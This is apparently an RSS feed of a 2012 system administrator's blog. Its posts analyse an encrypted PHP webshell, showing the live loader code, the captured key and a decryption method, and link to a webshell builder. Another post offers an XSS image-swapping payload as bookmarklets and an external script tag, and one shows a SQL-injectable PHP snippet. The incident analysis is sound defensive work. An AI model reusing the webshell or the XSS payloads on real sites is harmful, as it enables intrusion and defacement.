<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tales of a cold admin</title>
	<atom:link href="http://www.talesofacoldadmin.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.talesofacoldadmin.com</link>
	<description>A place for my ramblings, tutorials, and other misc stuffs.</description>
	<lastBuildDate>Wed, 15 Feb 2012 01:03:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Reversing a (particularly nasty) webshell</title>
		<link>http://www.talesofacoldadmin.com/2012/02/12/reversing-a-particularly-nasty-webshell/</link>
		<comments>http://www.talesofacoldadmin.com/2012/02/12/reversing-a-particularly-nasty-webshell/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 02:52:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web stuffs]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[webshell]]></category>

		<guid isPermaLink="false">http://www.talesofacoldadmin.com/?p=143</guid>
		<description><![CDATA[Today I got to reverse-engineer a particularly clever webshell (no stupid eval( gzinflate( base64_encode())) crap). I&#8217;ve cleaned my fair share of embedded PHP out of pages, but I&#8217;ve never actually encountered anything this interesting, which may not be saying much. Ugly, right? The first thing I did was to replace the functions and variable into something a [...]]]></description>
			<content:encoded><![CDATA[<p>Today I got to reverse-engineer a particularly clever webshell (no stupid eval( gzinflate( base64_encode())) crap). I&#8217;ve cleaned my fair share of embedded PHP out of pages, but I&#8217;ve never actually encountered anything this interesting, which may not be saying much.</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$____='...binary junk...LOTS of binary junk...';
$___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);

if($___!==NULL){
    $___=md5($___).substr(md5(strrev($___)),0,strlen($___));
    for($_____=0;$_____&lt;15090;$_____++){
        $____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
        $___.=$____[$_____];
    }
    if($____=@gzinflate($____)){
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
        $_____=create_function('',$____);
        unset($____,$___);
        $_____();
    }
}
?&gt;
&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;___&quot; value=&quot;&quot;/&gt;&lt;input type=&quot;submit&quot; value=&quot;&amp;gt;&quot;/&gt;&lt;/form&gt;
</pre>
<p>Ugly, right?</p>
<p>The first thing I did was to replace the functions and variable into something a bit more readable and comment some stuff in.</p>
<pre class="brush: php; title: ; notranslate">
$auth = 'BINARY DATA'
// Checks for cookie or POST'd password
$auth=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);
// If authenticated/trying to auth
if($auth!==NULL)
{
    // md5 of password substr'd with a subset of the md5
    $auth=md5($auth).substr(md5(strrev($auth)),0,strlen($auth));
    // XOR? encryption loop
    for($i=0;$i&lt;15090;$i++)
    {
        $data[$i]=chr(( ord($data[$i])-ord($auth[$i]))%256);
        $auth.=$data[$i];
    }
    // At this point the data is decrypted into $data
    if($data=@gzinflate($data))
    {
        // Set the cookie to the password value
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
        // Create a new function of the decrypted data
        $newfunc=create_function('',$data);
        // Unset everything used
        unset($data,$auth);
        // Execute evil PHP
        $newfunc();
    }
}
</pre>
<p>Then I realized that no matter what I did, there wasn&#8217;t much I could do unless I had the encryption key that was used. Thankfully I checked the webserver and someone (188.116.32.134 =&gt; Poland) had logged in that day, I had a chance!</p>
<p>I replaced his evil PHP scripts with this to attempt to capture the key</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// Write a file into temp with microtime() appended to it so he
// can't blank it back out, and capture the arrays $_POST and $_GET.
// Bwahaha PHP honeypot!
file_put_contents('/tmp/evil.postdata.' . microtime(True) . '.txt',
                   var_export($_POST, true));
file_put_contents('/tmp/evil.getdata.'  . microtime(True) . '.txt',
                   var_export($_GET, true));
?&gt;

&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;___&quot; value=&quot;&quot;/&gt;
&lt;input type=&quot;submit&quot; value=&quot;&amp;gt;&quot;/&gt;
&lt;/form&gt;
</pre>
<p>Then around 2:00AM guess who came back to do some more spamming?</p>
<pre class="brush: bash; title: ; notranslate">
[root@server tmp]# stat /tmp/evil.postdata.1328943826.7825.txt
  File: `/tmp/evil.postdata.1328943826.7825.txt'
--SNIP--
Access: 2012-02-11 21:37:26.000000000 -0500
Modify: 2012-02-11 02:03:46.000000000 -0500
Change: 2012-02-11 02:03:46.000000000 -0500
</pre>
<p>Awesome! I&#8217;ve captured his key! Take that you stupid spammer! :)</p>
<pre class="brush: bash; title: ; notranslate">
[root@server tmp]# cat /tmp/evil.postdata.1328943826.7825.txt
array (
  '___' =&gt; '145155',
)
</pre>
<p>At this point I copied the evil PHP script over to a dev VM I had laying about for this sort of thing, snapshotted it, then edited the code to look like this</p>
<pre class="brush: php; title: ; notranslate">
$___='145155';

if($___!==NULL){
    $___=md5($___).substr(md5(strrev($___)),0,strlen($___));
    for($_____=0;$_____&lt;15090;$_____++){
        $____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
        $___.=$____[$_____];
    }
    if($____=@gzinflate($____)){
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
// Stop execution of the shell
//              $_____=create_function('',$____);
//              unset($____,$___);
//              $_____();
        }
                // print de-obfuscated code without execing it
                print '&lt;pre style=&quot;white-space: pre-wrap;&quot;&gt;' . htmlspecialchars($____) . '&lt;/pre&gt;';
                // end execution
                die();
}
</pre>
<p>I fired up chrome and pointed it at the server and BAM! Webshell Decrypted.</p>
<p style="text-align: center;"><a href="http://www.talesofacoldadmin.com/wp-content/uploads/2012/02/decoded.png"><img class="wp-image-160 aligncenter" title="decoded" src="http://www.talesofacoldadmin.com/wp-content/uploads/2012/02/decoded.png" alt="" width="769" height="560" /></a></p>
<p>If you&#8217;re curious, you can find the entire thing decrypted and formatted PHP script <a href="https://git.quixote.dcs.it.mtu.edu/coding-stuffs/random-notes/blobs/master/Evil.php" target="_blank">here</a></p>
<p>Turns out it&#8217;s the P.A.S. Webshell 3.0.5, and after googling that exact thing I found this:<br />
<a href="http://profexer.name/pas/download.php" title="http://profexer.name/pas/download.php">http://profexer.name/pas/download.php</a> where you can build your own with your own encryption key. Way to make this sort of pain in the ass behavior easily accessible d-bags.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.talesofacoldadmin.com/2012/02/12/reversing-a-particularly-nasty-webshell/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Something Fun (lazer.js)</title>
		<link>http://www.talesofacoldadmin.com/2012/02/11/something-fun-lazer-js/</link>
		<comments>http://www.talesofacoldadmin.com/2012/02/11/something-fun-lazer-js/#comments</comments>
		<pubDate>Sat, 11 Feb 2012 01:15:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Web stuffs]]></category>

		<guid isPermaLink="false">http://www.talesofacoldadmin.com/?p=125</guid>
		<description><![CDATA[A while ago I designed a snippit of js to inject when I found a XSS issue on a page, I was sick of doing rick-rolls, and anything else I could really think of so I ended up making an img swapper. It goes through every &#60;img&#62; tag in the page and replaces with the [...]]]></description>
			<content:encoded><![CDATA[<p>A while ago I designed a snippit of js to inject when I found a XSS issue on a page, I was sick of doing rick-rolls, and anything else I could really think of so I ended up making an img swapper. It goes through every &lt;img&gt; tag in the page and replaces with the gif found <a href="http://talesofacoldadmin.com/xss.gif">here</a></p>
<p>Bookmarklet =&gt; <a href="javascript:function imgswap() {img = document.getElementsByTagName('img');for (i=0;i&lt;img.length;i++) {img[i].src = 'http://talesofacoldadmin.com/xss.gif';}all = document.getElementsByTagName('div');for (i=0;i&lt;all.length;i++) {if (getComputedStyle(all[i],false).backgroundImage.indexOf('url') !== -1) {all[i].style.background = 'url(http://talesofacoldadmin.com/xss.gif)';}}};imgswap()">here</a></p>
<p>.js file =&gt; &lt;script src=&#8221;<a href="https://www.talesofacoldadmin.com/lazer.js">https://www.talesofacoldadmin.com/lazer.js</a>&#8220;&gt;&lt;/script&gt;</p>
<p>Now go ahead and turn Gregory D. Evan&#8217;s face into something better. You know you want to.</p>
<p><a href="javascript:document.getElementById('gregory').src='http://talesofacoldadmin.com/xss.gif';"><img id="gregory" class="aligncenter size-full wp-image-129" title="08_gregory_evans" src="http://www.talesofacoldadmin.com/wp-content/uploads/2012/02/08_gregory_evans.jpg" alt="" width="260" height="329" /></a></p>
<p><a href="javascript:function imgswap() {img = document.getElementsByTagName('img');for (i = 0; i &lt; img.length; i++) {img[i].src = 'http://talesofacoldadmin.com/xss.gif';}all = document.getElementsByTagName('div');for (i = 0; i &lt; all.length; i++) {if (getComputedStyle(all[i], false).backgroundImage.indexOf('url') !== -1){all[i].style.background = 'url(http://talesofacoldadmin.com/xss.gif)';}}document.getElementsByTagName('body')[0].style.background = 'url(http://talesofacoldadmin.com/xss.gif)';};imgswap()">And if you *<strong>REALLY</strong>* want to puke all over yourself in a glorious seizure of &#8220;XSS FAIL&#8221; click this. <strong>Not</strong> for the feint of heart!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.talesofacoldadmin.com/2012/02/11/something-fun-lazer-js/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pwned website analysis == a total pain.</title>
		<link>http://www.talesofacoldadmin.com/2012/02/11/pwned-website-analysis-a-total-pain/</link>
		<comments>http://www.talesofacoldadmin.com/2012/02/11/pwned-website-analysis-a-total-pain/#comments</comments>
		<pubDate>Sat, 11 Feb 2012 00:25:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web stuffs]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[magnets]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[static]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://www.talesofacoldadmin.com/?p=101</guid>
		<description><![CDATA[One of my least favorite things to do in life is play &#8220;Clean up after the {Russian, Estonian, Chinese, Swedish, American} hackers&#8221;. I end up doing this more then I care to admit to, especially because of our infrastructure. It&#8217;s a bit like a Microsoft Product, someone adhered to standards at some point, but they&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>One of my least favorite things to do in life is play &#8220;Clean up after the {Russian, Estonian, Chinese, Swedish, American} hackers&#8221;. I end up doing this more then I care to admit to, especially because of our infrastructure. It&#8217;s a bit like a Microsoft Product, someone adhered to standards at some point, but they&#8217;re gone and since no-one is policing it (or can&#8217;t), it doesn&#8217;t get done. I end up seeing many things like this:</p>
<pre class="brush: php; title: ; notranslate">
dostuff.php:100: $thing = $_GET['derp']
dostuff.php:111: $query = &quot;select * from something where indexnum=$thing&quot;;
dostuff.php:112: $result = mysql_query($query);
</pre>
<p>Absolutely *NO* sanitization anywhere near any input whatsoever.</p>
<p style="text-align: center;"><a href="http://www.talesofacoldadmin.com/wp-content/uploads/2012/02/howdoesitwork1.jpg"><img class="aligncenter  wp-image-110" title="howdoesitwork" src="http://www.talesofacoldadmin.com/wp-content/uploads/2012/02/howdoesitwork1.jpg" alt="" width="512" height="287" /></a></p>
<p style="text-align: left;">Anywho, I&#8217;ve also finished a de-obfuscator in python for de-obfuscating stupid php shells:</p>
<pre class="brush: bash; title: ; notranslate">
#(^_^)-(!23823)-(rdsears@quixote)-(07:13:41)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py &quot;eval(gzinflate(base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA=')));&quot;
echo &quot;Yay magics!...except not so much&quot;
die()

#(^_^)-(!24824)-(rdsears@quixote)-(07:13:51)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py &quot;gzinflate(base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA='));&quot;
echo &quot;Yay magics!...except not so much&quot;
die()

#(^_^)-(!25825)-(rdsears@quixote)-(07:14:00)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py &quot;base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA=');&quot;
echo &quot;Yay magics!...except not so much&quot;
die()

#(^_^)-(!26826)-(rdsears@quixote)-(07:14:10)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py &quot;S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA=&quot;
echo &quot;Yay magics!...except not so much&quot;
die()
</pre>
<p>You can find it <a href="http://git.quixote.dcs.it.mtu.edu/coding-stuffs/random-python/blobs/master/eval.gzinflate.base64.py" target="_blank">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.talesofacoldadmin.com/2012/02/11/pwned-website-analysis-a-total-pain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Added tools</title>
		<link>http://www.talesofacoldadmin.com/2012/02/10/added-tools/</link>
		<comments>http://www.talesofacoldadmin.com/2012/02/10/added-tools/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 07:16:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.talesofacoldadmin.com/?p=98</guid>
		<description><![CDATA[I&#8217;ve added a *sane* tools page to my blog finally. Mostly links pointing to my git server for now, but eventually every tool should have it&#8217;s own page, and links to my git server as well! :)]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve added a *sane* tools page to my blog finally. Mostly links pointing to my git server for now, but eventually every tool should have it&#8217;s own page, and links to my git server as well! :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.talesofacoldadmin.com/2012/02/10/added-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A new year, A new blog</title>
		<link>http://www.talesofacoldadmin.com/2012/02/04/hello-world/</link>
		<comments>http://www.talesofacoldadmin.com/2012/02/04/hello-world/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 00:54:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Fatcow]]></category>
		<category><![CDATA[Server]]></category>

		<guid isPermaLink="false">http://www.talesofacoldadmin.com/?p=1</guid>
		<description><![CDATA[Hi readers, I&#8217;ve decided it&#8217;s time to move to some form of a real CMS, I was sick of editing things by hand and re-uploading them. It&#8217;d be one thing if I was on an actual server, but with fatcow I just have the website hosing stuffs. Either way, I&#8217;m excited to have this! Happy [...]]]></description>
			<content:encoded><![CDATA[<p>Hi readers,</p>
<p>I&#8217;ve decided it&#8217;s time to move to some form of a real CMS, I was sick of editing things by hand and re-uploading them. It&#8217;d be one thing if I was on an actual server, but with fatcow I just have the website hosing stuffs.</p>
<p>Either way, I&#8217;m excited to have this! Happy New years! :)</p>
<p>Fitblip</p>
]]></content:encoded>
			<wfw:commentRss>http://www.talesofacoldadmin.com/2012/02/04/hello-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

